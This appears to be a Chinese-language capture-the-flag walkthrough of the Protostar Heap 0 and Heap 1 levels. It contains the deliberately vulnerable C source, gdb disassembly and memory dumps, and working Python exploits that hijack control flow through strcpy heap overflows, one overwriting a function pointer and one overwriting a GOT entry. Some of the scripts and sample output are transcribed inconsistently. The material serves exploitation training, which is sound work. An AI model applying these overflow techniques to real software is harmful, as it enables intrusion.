

Protostar: Heap 0

This level introduces heap overflows and how they can influence code flow.

This level is at `/opt/protostar/bin/heap0`.

Source Code

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};

void winner()
{
    printf("level passed\n");
}

void nowinner()
{
    printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);

    f->fp();
}
```

攻击目标

改变程序控制流，让winner()执行，输出level passed。

攻击过程

```
$ cat heap0.py
buffer = ""
for i in range(0x41, 0x53):
    buffer += chr(i) * 4
target = "\x64\x84\x04\x08"
print buffer + target
$ ./heap0 `python heap0.py`
data is at 0x804a008, fp is at 0x804a050
level passed
```

```
root@protostar:/opt/protostar/bin# ./heap0 `python heap0.py`
data is at 0x804a008, fp is at 0x804a050
level passed
root@protostar:/opt/protostar/bin# cat heap0.py
buffer = ""
for i in range(0x41, 0x53):
    buffer += chr(i)*4
target = "\x64\x84\x04\x08"
print buffer + target
root@protostar:/opt/protostar/bin# ./heap0 `python heap0.py`
data is at 0x804a008, fp is at 0x804a050
level passed
```

原理分析

分析源码可知，如果程序正常运行，应该执行nonwinner()，打印level has not been passed。

本题要利用的是strcpy()的溢出漏洞，它不会检查拷贝内容的长度，从而造成接收处空间的溢出。

准备一个长字符串。

```
# exp.py
buffer = ""
for i in range(0x41, 0x5b):
    buffer += chr(i) * 4
print buffer

...

Output:
AAAABBBBCCCCDDDDDEEEFFFFZZZZHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQRRRRSSSSTTTTUUUVVVWWW
WXXXXXXYYYYZZZZ
...
```

查看main()函数的汇编代码：

```

Dump of assembler code for function main:
0x0804848c <main+0>:  push  %ebp
0x0804848d <main+1>:  mov   %esp,%ebp
0x0804848f <main+3>:  and   $0xfffffffff0,%esp
0x08048492 <main+6>:  sub   $0x20,%esp
0x08048495 <main+9>:  movl  $0x40, (%esp)
0x0804849c <main+16>: call  0x8048388 <malloc@plt>
0x080484a1 <main+21>:  mov   %eax,0x18(%esp)
0x080484a5 <main+25>:  movl  $0x4, (%esp)
0x080484ac <main+32>:  call  0x8048388 <malloc@plt>
0x080484b1 <main+37>:  mov   %eax,0x1c(%esp)
0x080484b5 <main+41>:  mov   $0x8048478,%edx
0x080484ba <main+46>:  mov   0x1c(%esp),%eax
0x080484be <main+50>:  mov   %edx, (%eax)
0x080484c0 <main+52>:  mov   $0x80485f7,%eax
0x080484c5 <main+57>:  mov   0x1c(%esp),%edx
0x080484c9 <main+61>:  mov   %edx,0x8(%esp)
0x080484cd <main+65>:  mov   0x18(%esp),%edx
0x080484d1 <main+69>:  mov   %edx,0x4(%esp)
0x080484d5 <main+73>:  mov   %eax, (%esp)
0x080484d8 <main+76>:  call  0x8048378 <printf@plt>
0x080484dd <main+81>:  mov   0xc(%ebp),%eax
0x080484e0 <main+84>:  add   $0x4,%eax
0x080484e3 <main+87>:  mov   (%eax),%eax
---Type <return> to continue, or q <return> to quit---

```

```

---Type <return> to continue, or q <return> to quit---
0x080484e5 <main+89>:  mov   %eax,%edx
0x080484e7 <main+91>:  mov   0x18(%esp),%eax
0x080484eb <main+95>:  mov   %edx,0x4(%esp)
0x080484ef <main+99>:  mov   %eax, (%esp)
0x080484f2 <main+102>: call  0x8048368 <strcpy@plt>
0x080484f7 <main+107>:  mov   0x1c(%esp),%eax
0x080484fb <main+111>:  mov   (%eax),%eax
0x080484fd <main+113>:  call  *%eax
0x080484ff <main+115>:  leave
0x08048500 <main+116>:  ret
End of assembler dump.

```

在 `strcpy()` 后打断点，将准备好的长字符串作为输入。

```
(gdb) r `python exp.py`
```

```

(gdb) b *0x080484f7
Breakpoint 1 at 0x080484f7: file heap0/heap0.c, line 38.
(gdb) r `python exp.py`
Starting program: /opt/protostar/bin/heap0 `python exp.py`
data is at 0x804a008, fp is at 0x804a050

Breakpoint 1, main (argc=2, argv=0xbffffd54) at heap0/heap0.c:38
38  heap0/heap0.c: No such file or directory.
    in heap0/heap0.c

```

由输出可知 `0x804a008` 为堆上 `d` 的地址，查看堆上内存。

```
(gdb) x/64wx 0x804a008 # 查看堆上从d的位置往下64DWORD 或用 x/1s 0x0804a050
(gdb) c # 继续执行
```

```

(gdb) x/64wx 0x804a008
0x804a008: 0x41414141 0x42424242 0x43434343 0x44444444
0x804a018: 0x45454545 0x46464646 0x47474747 0x48484848
0x804a028: 0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0x804a038: 0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0x804a048: 0x51515151 0x52525252 0x53535353 0x54545454
0x804a058: 0x55555555 0x56565656 0x57575757 0x58585858
0x804a068: 0x59595959 0x5a5a5a5a 0x00000000 0x00000000
0x804a078: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a088: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a098: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f8: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x53535353 in ?? ()

```

发生的 `Segmentation fault` 说明 `*fp` 中存储的 `nonwinner()` 的地址被覆写为 `0x53535353`。

如果我们想要改变控制流，需要把 `winner()` 函数的入口地址写到 `0x53535353` 所在的位置。

查看winner()的入口地址:

```
(gdb) p winner
```

```
(gdb) p winner  
$1 = {void (void)} 0x8048464 <winner>
```

由此可构造攻击脚本:

```
# heap0.py  
buffer = ""  
for i in range(0x41, 0x53):  
    buffer += chr(i) * 4  
target = "\x64\x84\x04\x08" # winner()入口地址  
print buffer + target
```

Protostar: Heap 1

This level takes a look at code flow hijacking in data overwrite cases.

This level is at `/opt/protostar/bin/heap1`.

Source Code

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
    int priority;
    char *name;
};

void winner()
{
    printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    struct internet *i1, *i2, *i3;

    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name = malloc(8);

    i2 = malloc(sizeof(struct internet));
    i2->priority = 2;
    i2->name = malloc(8);

    strcpy(i1->name, argv[1]);
    strcpy(i2->name, argv[2]);

    printf("and that's a wrap folks!\n");
}
```

攻击目标

改变程序控制流，让winner()执行。

攻击过程

```
$ cat heap1.py
arg1_padding = "AAAABBBBCCCCDDDDDEEEEE"
ret = "\x74\x97\x04\x08 "
arg2 = "\x94\x84\x04\x08"
print arg1_padding + ret + arg2
$ ./heap1 `python heap1.py`
and we have a winner @ 1711319487
```

```
root@protostar:/opt/protostar/bin# cat heap1.py
arg1_padding = "AAAABBBBCCCCDDDDDEEEEE"
ret = "\x74\x97\x04\x08 "
arg2 = "\x94\x84\x04\x08"
print arg1_padding + ret + arg2
root@protostar:/opt/protostar/bin# ./heap1 `python heap1.py`
and we have a winner @ 1711319487
```

原理分析

由源码可知，如果程序正常运行，`winner()` 不会被执行。

```
(gdb) info proc map
```

```
process 2017
cmdline = '/opt/protostar/bin/heap1'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap1'
Mapped address spaces:

   Start Addr    End Addr       Size     Offset objfile
   -----
heap1
   0x8048000    0x8049000       0x1000         0 /opt/protostar/bin/he
heap1
   0x8049000    0x804a000       0x1000         0 /opt/protostar/bin/he
   0x804a000    0x806b000     0x21000         0 [heap]
   0xb7e96000   0xb7e97000       0x1000         0
   0xb7e97000   0xb7fd5000     0x13e000         0 /lib/libc-2.11.2.so
   0xb7fd5000   0xb7fd6000       0x1000     0x13e000 /lib/libc-2.11.2.so
   0xb7fd6000   0xb7fd8000       0x2000     0x13e000 /lib/libc-2.11.2.so
   0xb7fd8000   0xb7fd9000       0x1000     0x140000 /lib/libc-2.11.2.so
   0xb7fd9000   0xb7fdc000       0x3000         0
   0xb7fdf000   0xb7fe2000       0x3000         0
   0xb7fe2000   0xb7fe3000       0x1000         0 [vdso]
   0xb7fe3000   0xb7ffe000     0x1b000         0 /lib/ld-2.11.2.so
   0xb7ffe000   0xb7fff000       0x1000     0x1a000 /lib/ld-2.11.2.so
   0xb7fff000   0xb8000000       0x1000     0x1b000 /lib/ld-2.11.2.so
   0xbffeb000   0xc0000000     0x15000         0 [stack]
```


可以看到堆上地址为`0x804a000~0x806b000`，栈上地址为`0xbffeb000~0xc0000000`。

程序中的本地变量会在栈上分配内存，使用`malloc`等关键字创建的变量会在堆上分配内存。在栈上产生的变量，它何时生成、何时消亡，以及在内存中会开辟多大的空间给它，都是由编译器决定的。但在堆上开辟的空间、空间大小，是由程序员在程序中控制的。堆内存分配速度比较缓慢，但可用空间大。堆上的数据块之间可以不存在关联，它们是由类似链表的方式进行管理的。

下面用一个例子说明`malloc`如何分配堆内存。


```
a = malloc(16);
b = malloc(24);
c = malloc(10);
d = malloc(16);
```

分配后的堆内存如图所示：




中间短小的空隙是它们的“头”，灰色的部分是被分配给它们的空间。“头”会携带一些指针或管理信息，是给堆管理器使用的。程序员在写完代码后得到的地址，是灰色块的起始地址，而不是“头”的起始地址。


分析本题源码，堆内存分配如下：



本题要利用的仍然是 `strcpy()` 的溢出漏洞，它不会检查拷贝内容的长度，从而造成接收处空间的溢出。



我们可以利用第一次复制将i2的*name指针覆写为一个*somewhere指针，指向eip最终会去到的地址；第二次复制会将内容复制到i2的*name指针指向的地方，所以可利用第二次复制将winner()函数的入口地址写到*somewhere指针指向的地方，从而实现攻击。



那我们应该如何构造`*somewhere`指针呢？有两种方法：第一种是利用`main()`的返回地址，但在本题中，`main()`的返回地址的位置是漂移的（有时候，一些环境变量长短的变化，会造成`esp`位置的漂移），没有一个确定的地址，所以不可行；第二种方法是利用一些程序中的一些系统函数调用，调用时`eip`会跳转到相应函数的地址，本题中可以利用`printf()`。

使用工具`ltrace`查看几次`malloc`分配的空间的地址：

`ltrace`: 跟踪程序运行时动态链接库的库函数调用情况。

```
$ ltrace ./heap1
```

```
root@protostar:/opt/protostar/bin# ltrace ./heap1
__libc_start_main(0x80484b9, 1, 0xbffff04, 0x8048580, 0x8048570 <unfinished ...>
malloc(8) = 0x0804a008
malloc(8) = 0x0804a018
malloc(8) = 0x0804a028
malloc(8) = 0x0804a038
strcpy(0x0804a018, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ Killed by SIGSEGV +++
```

`malloc()` 就是`glibc`库中的函数。

查看`main()`的汇编代码：

```
Dump of assembler code for function main:
0x080484b9 <main+0>: push %ebp
0x080484ba <main+1>: mov %esp,%ebp
0x080484bc <main+3>: and $0xffffffff,%esp
0x080484bf <main+6>: sub $0x20,%esp
0x080484c2 <main+9>: movl $0x8,(%esp)
0x080484c9 <main+16>: call 0x80483bc <malloc@plt>
0x080484ce <main+21>: mov %eax,0x14(%esp)
0x080484d2 <main+25>: mov 0x14(%esp),%eax
0x080484d6 <main+29>: movl $0x1,(%eax)
0x080484dc <main+35>: movl $0x8,(%esp)
0x080484e3 <main+42>: call 0x80483bc <malloc@plt>
0x080484e8 <main+47>: mov %eax,%edx
0x080484ea <main+49>: mov 0x14(%esp),%eax
0x080484ee <main+53>: mov %edx,0x4(%eax)
0x080484f1 <main+56>: movl $0x8,(%esp)
0x080484f8 <main+63>: call 0x80483bc <malloc@plt>
0x080484fd <main+68>: mov %eax,0x18(%esp)
0x08048501 <main+72>: mov 0x18(%esp),%eax
0x08048505 <main+76>: movl $0x2,(%eax)
0x0804850b <main+82>: movl $0x8,(%esp)
0x08048512 <main+89>: call 0x80483bc <malloc@plt>
0x08048517 <main+94>: mov %eax,%edx
0x08048519 <main+96>: mov 0x18(%esp),%eax
---Type <return> to continue, or q <return> to quit---
```



```

0x0804851d <main+100>: mov    %edx,0x4(%eax)
0x08048520 <main+103>: mov    0xc(%ebp),%eax
0x08048523 <main+106>: add    $0x4,%eax
0x08048526 <main+109>: mov    (%eax),%eax
0x08048528 <main+111>: mov    %eax,%edx
0x0804852a <main+113>: mov    0x14(%esp),%eax
0x0804852e <main+117>: mov    0x4(%eax),%eax
0x08048531 <main+120>: mov    %edx,0x4(%esp)
0x08048535 <main+124>: mov    %eax,(%esp)
0x08048538 <main+127>: call   0x804838c <strcpy@plt>
0x0804853d <main+132>: mov    0xc(%ebp),%eax
0x08048540 <main+135>: add    $0x8,%eax
0x08048543 <main+138>: mov    (%eax),%eax
0x08048545 <main+140>: mov    %eax,%edx
0x08048547 <main+142>: mov    0x18(%esp),%eax
0x0804854b <main+146>: mov    0x4(%eax),%eax
0x0804854e <main+149>: mov    %edx,0x4(%esp)
0x08048552 <main+153>: mov    %eax,(%esp)
0x08048555 <main+156>: call   0x804838c <strcpy@plt>
0x0804855a <main+161>: movl   $0x804864b,(%esp)
0x08048561 <main+168>: call   0x80483cc <puts@plt>
0x08048566 <main+173>: leave
0x08048567 <main+174>: ret
End of assembler dump.

```

查看 `winner()` 函数的入口地址:

```
(gdb) p winner # 入口地址为0x08048494
```

```

(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>

```

在 `leave` 处 (`0x08048566`) 打断点, 运行程序, 查看堆上内存。

```

(gdb) b *0x08048566
(gdb) r AAAABBBB 11112222
(gdb) x/64wx 0x0804a000 # 查看堆顶往下64DWORD

```

```

The program is not being run.
(gdb) r AAAABBBB 11112222
Starting program: /opt/protostar/bin/heap1 AAAABBBB 11112222
and that's a wrap folks!

Breakpoint 1, main (argc=3, argv=0xbffffdb4) at heap1/heap1.c:35
35      in heap1/heap1.c
(gdb) x/64wx 0x0804a000
0x0804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x0804a010: 0x00000000 0x00000011 0x41414141 0x42424242
0x0804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x0804a030: 0x00000000 0x00000011 0x31313131 0x32323232
0x0804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
0x0804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x0804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)

```

得到 `i1->name` 与 `i2` 的 `*name` 间隔为 5DWORD。

查看 `printf()` 对应的系统调用 `puts` 的具体步骤。

```
(gdb) disas 0x80483cc
```

```

(gdb) disas 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>: jmp     *0x8049774
0x080483d2 <puts@plt+6>: push    $0x30
0x080483d7 <puts@plt+11>: jmp     0x804835c
End of assembler dump.

```

可以看到在 `puts` 中再次发生了跳转。查看跳转地址指向的内容:

```
(gdb) x *0x8049774
```

```
(gdb) x *0x8049774
0x80483d2 <puts@plt+6>: 0x00003068
```

可以看到指向的是 `_IO_puts()` 函数。

所以可以将 `*somewhere` 设置为 `0x08049774`。

由此构造攻击脚本：

```
# heap1.py
arg1_padding = "AAAABBBBCCCCDDDEEEEE"
ret = "\x74\x97\x04\x08 " # puts@GOT跳转地址（最后有个空格）
arg2 = "\x94\x84\x04\x08" # winner()入口地址
print arg1_padding + ret + arg2
```